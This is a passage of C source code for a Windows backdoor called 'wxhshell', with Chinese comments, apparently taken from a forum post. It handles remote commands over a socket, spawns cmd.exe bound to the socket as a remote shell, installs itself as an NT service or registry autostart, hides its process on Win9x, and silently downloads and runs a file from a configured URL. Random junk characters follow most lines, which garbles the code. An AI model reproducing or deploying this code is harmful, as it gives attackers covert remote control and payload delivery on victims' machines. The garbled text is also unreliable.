    switch(cmd[0]) { ~c^-DAgB  
  %awS*  
  // 帮助 "v1(f|a  
  case '?': { 6!nb)auVi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <@A^C$g  
    break; "!tB";n  
  } Mb>XM7}PU  
  // 安装 RtL<hD  
  case 'i': { ,ln uu  
    if(Install()) yFt7fdl2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DX"; v J  
    else zEW:Xe)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fq|2E&&v  
    break; _&/Zab5  
    } Z@ kC28  
  // 卸载 mTfMuPPs[  
  case 'r': { uFm-HR@4  
    if(Uninstall()) "{_"Nj H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^H4i Hjg  
    else 4m*(D5Y=|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $<4Ar*i  
    break; DBUwf1=qj  
    } mz*z1`\7v\  
  // 显示 wxhshell 所在路径 X$9QW3.M  
  case 'p': { fF("c6:w(  
    char svExeFile[MAX_PATH]; j,xPN=+hT  
    strcpy(svExeFile,"\n\r"); }gW/heUE  
      strcat(svExeFile,ExeFile); uKy*N*}  
        send(wsh,svExeFile,strlen(svExeFile),0); =T)2wcXBB  
    break; lt4jnV2"a  
    } fn OkH  
  // 重启 d_uy;-3  
  case 'b': { *u/|NU&X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wIF ":'  
    if(Boot(REBOOT)) !5j3gr ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >~rd5xlk  
    else { (J&Xo.<Z-  
    closesocket(wsh); >@U<?wP  
    ExitThread(0); <o+ 7U  
    } 0JNOFX  
    break; fWyDWU  
    } gKN_~{{OD  
  // 关机 V|\A?   
  case 'd': { xbC8Amo;8"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aT#{t {gkA  
    if(Boot(SHUTDOWN)) 7omGg~!k(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i4n b#  
    else { Oq,.Kz  
    closesocket(wsh); 0:'jU  
    ExitThread(0); >iH).:j  
    } zm+4Rl(  
    break; ]B3FTqR{i  
    } vvAk<[  
  // 获取shell NP`s[  
  case 's': { 15 o.j!S  
    CmdShell(wsh); _c8.muQ<  
    closesocket(wsh); 93IOG{OAY  
    ExitThread(0); 4AOS}@~W  
    break; U;{,lS2l  
  } MQ(/l_=zQ  
  // 退出 W8$=a  
  case 'x': { i?>> 9f@F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )O@^H   
    CloseIt(wsh); !X%!7wsc  
    break; Gv,92ny!|  
    } 9]@J*A}=l  
  // 离开 f WjS)  
  case 'q': { `qDz=,)WP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,{?bM  
    closesocket(wsh); ]ZGvRA&  
    WSACleanup(); 0ITA3v8{  
    exit(1); kg I=0W>  
    break; @ P"`=BU&  
        } o+-Ge J  
  } >|/ ? Up  
  } on;sq8;  
fsJTwSI["  
  // 提示信息 'Z2N{65  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b?] S&)"9  
} x_y>j)  
  } l8xd73D)8  
+< \cd9  
  return; RA/ =w&  
} ;Nf hKu%K  
V> a3V'  
// shell模块句柄 {<}I9D5  
int CmdShell(SOCKET sock) CDW(qq-zD  
{ EB2^]?  
STARTUPINFO si; CESe}^)n  
ZeroMemory(&si,sizeof(si)); Wytvs*\`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EkStb#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3]`qnSYBv  
PROCESS_INFORMATION ProcessInfo; !|<f%UO  
char cmdline[]="cmd"; *KjVPs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); im \ YL<  
  return 0; a&s"# j  
} QE#-A@c  
( X 'FQ  
// 自身启动模式 B`Or#G3ph  
int StartFromService(void) 1s} ``1>  
{ =!S@tuY  
typedef struct ADyNNMcx  
{ Tt<-<oyU.  
  DWORD ExitStatus; ( #-=y~%  
  DWORD PebBaseAddress; /[|}rqX(  
  DWORD AffinityMask; GATP  
  DWORD BasePriority; )| Vg/S  
  ULONG UniqueProcessId; b*FU*)<4.  
  ULONG InheritedFromUniqueProcessId; SEQO2`]e:  
}   PROCESS_BASIC_INFORMATION; Nx4DC  
>OKS/(I0  
PROCNTQSIP NtQueryInformationProcess; &FJU%tFA  
}GN kB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZaRr2Z:!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o >Rw}R  
t|#NMRz  
  HANDLE             hProcess; -Ty<9(~S  
  PROCESS_BASIC_INFORMATION pbi; qN1e{T8u  
\9>g;qPg}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _yxe2[TD  
  if(NULL == hInst ) return 0; f`u5\!}=!  
XgiI6-B~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]O[+c*|w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q_dXRBv=n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9!O+Ryy?\  
KF:]4`$  
  if (!NtQueryInformationProcess) return 0; lk*0c {_L  
{m+S{dWp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #"o6OEy$A#  
  if(!hProcess) return 0; c+E//X|  
SrQ4y`?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *%Nns',  
<nOuyGIZ  
  CloseHandle(hProcess); r?"}@MRW  
1&8j3"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l${Hgn+  
if(hProcess==NULL) return 0; h=v[i!U-eY  
[NCXn>Z  
HMODULE hMod; ^^4K/XBve  
char procName[255]; W;OYO  
unsigned long cbNeeded; Jm]]>K8.3V  
[.#p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f gK2.;>  
{p#l!P/  
  CloseHandle(hProcess); K)9j je  
H#kAm!H  
if(strstr(procName,"services")) return 1; // 以服务启动 33{;[/4  
qXP1Q3  
  return 0; // 注册表启动 7E!";HT  
} [Q7->Wo|S:  
k lP{yxU'n  
// 主模块 xI`Uk8-8  
int StartWxhshell(LPSTR lpCmdLine) rnMG0  
{ <<7,k f R  
  SOCKET wsl; r6 oX6.c  
BOOL val=TRUE; uGuc._}=  
  int port=0; Yn IM-  
  struct sockaddr_in door; ~>N`<S   
!~lVv&YO  
  if(wscfg.ws_autoins) Install(); 3P+4S|@q(4  
3xmiX{1e  
port=atoi(lpCmdLine); r%Q8)nEo  
.\ ;l-U  
if(port<=0) port=wscfg.ws_port; f7_\).T  
L;.VEz!  
  WSADATA data; -A~;MGY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z%Tq1O  
a!c/5)v(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eEWro F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r%g <h T 8  
  door.sin_family = AF_INET; xVsa,EX b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LT,iS)dY+  
  door.sin_port = htons(port); a gmeiJT  
J+/}K>2#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2p$n*|T&c  
closesocket(wsl); dl*_ m3T  
return 1; wE,=%?"  
} I<D&,LFH*w  
vpeq:h  
  if(listen(wsl,2) == INVALID_SOCKET) { x"(7t3xK  
closesocket(wsl); WX%h4)z*  
return 1; mC*W2#1pF  
} S F&M (=w<  
  Wxhshell(wsl); %mK3N2N$  
  WSACleanup(); %gV)arwK  
=R8f)UQYx  
return 0; 4)z3X\u|Z2  
&57qjA ,8<  
} ;x!,g5q"q  
l1-4n*fU  
// 以NT服务方式启动 U7nsMD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nu4Pc  
{ ~&wXXVK3  
DWORD   status = 0; jHkyF`<+  
  DWORD   specificError = 0xfffffff; MAuM)8_P/|  
07$/]eO%C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R7E]*:0}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g)=V#Bglv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &_Cxv8  
  serviceStatus.dwWin32ExitCode     = 0; S2koXg(  
  serviceStatus.dwServiceSpecificExitCode = 0; iyA*J CD  
  serviceStatus.dwCheckPoint       = 0; 7j@^+rkr3f  
  serviceStatus.dwWaitHint       = 0; M,b<B_$  
+ $k07mb\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nf=C?`L  
  if (hServiceStatusHandle==0) return; + 6x"trC  
z7'n, [  
status = GetLastError(); 2. StG(Y!  
  if (status!=NO_ERROR) z{_mEE49  
{ 3mpP| b"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C$KaT3I  
    serviceStatus.dwCheckPoint       = 0;  )v${&H  
    serviceStatus.dwWaitHint       = 0; euRCBzc  
    serviceStatus.dwWin32ExitCode     = status; Tx y]"_  
    serviceStatus.dwServiceSpecificExitCode = specificError; \1=T sU&^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D"`%|`O  
    return; o8w-$ Qb  
  } X tJswxw`K  
Hm.X}HO0L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =L:[cIRrT;  
  serviceStatus.dwCheckPoint       = 0; bZxv/\  
  serviceStatus.dwWaitHint       = 0; b2a'KczV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |!$ Q<-]f  
} V^j3y`K  
y' 2<qj  
// 处理NT服务事件,比如:启动、停止 ' " Bex`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V %i<;C  
{ Zk wJ.SuU  
switch(fdwControl) B#J{F  
{ dz8-):  
case SERVICE_CONTROL_STOP: Bfbl#ZkyL  
  serviceStatus.dwWin32ExitCode = 0; jIKBgsiF/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cYsR0#  
  serviceStatus.dwCheckPoint   = 0; @[n2dmj  
  serviceStatus.dwWaitHint     = 0; gBMta+<fE~  
  { 7^c2e*S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kJ/+IGV^v  
  } A$/KP\0Y2  
  return; ]a8eDy  
case SERVICE_CONTROL_PAUSE: g* %bzfk=|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y3D3.T6Q  
  break; <MRC%!.  
case SERVICE_CONTROL_CONTINUE: G?>qd}]y0L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K3Huu!Tr  
  break; [0K=I64 z  
case SERVICE_CONTROL_INTERROGATE: 7}gA0fP9  
  break; !>\9t9  
}; ;F|jG}M"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q{O/xLf  
} ;9K[~  
IoQr+:_R  
// 标准应用程序主函数 yU> T8oFh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'T%IvJ#Xu  
{ O2C6V>Q;  
]OUD5T  
// 获取操作系统版本 $H4=QVj6  
OsIsNt=GetOsVer(); 6KVV z/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ki#y&{v9Be  
K/DH / r  
  // 从命令行安装 XnD0eua#  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5Qb;2!  
%?@x]B9Y8E  
  // 下载执行文件 =1O?jrl~q  
if(wscfg.ws_downexe) { AD(xaQ&T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e,^pMg~  
  WinExec(wscfg.ws_filenam,SW_HIDE); M\I_{Q?_  
} 5Lw{0uLr  
2ed@HJu  
if(!OsIsNt) { /({P1ti:C  
// 如果时win9x,隐藏进程并且设置为注册表启动 sbzeY 1  
HideProc(); (WJV.GcP1  
StartWxhshell(lpCmdLine); n>n"{!  
} EVWA\RO'\  
else {K+.A 9!  
  if(StartFromService()) se!g4XEWD  
  // 以服务方式启动 S3;lKr  
  StartServiceCtrlDispatcher(DispatchTable); \{lE0j7}h  
else hX&-/fF+f  
  // 普通方式启动 #0(fOHPQ  
  StartWxhshell(lpCmdLine); <8$Md4r  
qv.n99?]  
return 0; [ ynuj3G V  
}
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只看该作者 1 发表于: 2006-10-10
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